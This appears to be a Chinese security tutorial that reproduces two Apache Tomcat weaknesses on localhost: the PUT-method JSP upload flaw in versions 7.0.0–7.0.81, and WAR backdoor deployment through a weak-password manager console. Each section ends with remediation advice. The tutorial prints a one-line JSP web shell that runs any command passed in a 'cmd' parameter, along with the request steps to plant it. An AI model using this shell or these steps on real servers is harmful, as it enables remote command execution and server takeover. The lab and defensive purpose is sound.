Tomcat简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用 服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。对于一个初学者来说,可以这样认为,当在一台机器上配置好Apache 服务器,可利用它响应 HTML ( 标准通用标记语言下的一个应用)页面的访问请求。实际上Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。

远程代码执行

1.漏洞原理

Tomcat 运行在Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行。

影响版本: Apache Tomcat 7.0.0 – 7.0.81

2.漏洞复现

配置漏洞,开启put方法可上传文件功能。

tomcat文件夹下的/conf/web.xml文件插入:

1
<init-param>           <param-name>readonly</param-name>           <param-value>false</param-value>     </init-param>

重启tomcat服务。

img

访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个122.jsp,并用%20转义空格字符。123.jsp内容为:

1
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%

返回201,说明创建成功。

img

访问127.0.0.1:8080/122.jsp?cmd=calc。

弹出计算器:

img

3、 漏洞修复

1)检测当前版本是否在影响范围内,并禁用PUT方法。

2)更新并升级至最新版。

(三)war后门文件部署

1、漏洞简介及成因

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。

若后台管理页面存在弱口令,则可以通过爆破获取密码。

2、漏洞复现

Tomcat安装目录下conf里的tomcat-users.xml配置如下:

img

访问后台,登陆:

img

上传一个war包,里面是jsp后门:

img

成功上传并解析,打开:

img

可执行系统命令:

img

也可进行文件管理,任意查看、删除、上传文件:

img

3、漏洞修复

1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

3)以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

4)后台管理避免弱口令。